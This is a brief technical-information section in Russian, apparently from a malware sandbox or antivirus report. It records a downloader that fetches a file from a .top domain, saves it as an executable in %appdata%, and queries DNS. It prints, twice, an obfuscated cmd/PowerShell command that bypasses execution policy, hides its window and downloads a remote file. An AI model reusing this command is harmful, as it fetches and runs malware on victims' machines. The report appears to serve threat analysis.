Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "pOw^e^Rs^hElL^.^E^XE^ -E^X^e^CUTIOn^poli^cY b^YP^As^s -^No^pr^o^F^ilE -^W^in^DoW^STy^LE ^HiDD^En (NE^W^-o^B^Ject^ ^S^Ys^te^m.nET^.^weBCLi^Ent)^.^DoW^N^LoaDFiL^e^('http://ww...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /c "pOw^e^Rs^hElL^.^E^XE^ -E^X^e^CUTIOn^poli^cY b^YP^As^s -^No^pr^o^F^ilE -^W^in^DoW^STy^LE ^HiDD^En (NE^W^-o^B^Ject^ ^S^Ys^te^m.nET^.^weBCLi^Ent)^.^DoW^N^LoaDFiL^e^('http://ww...' (со скрытым окном)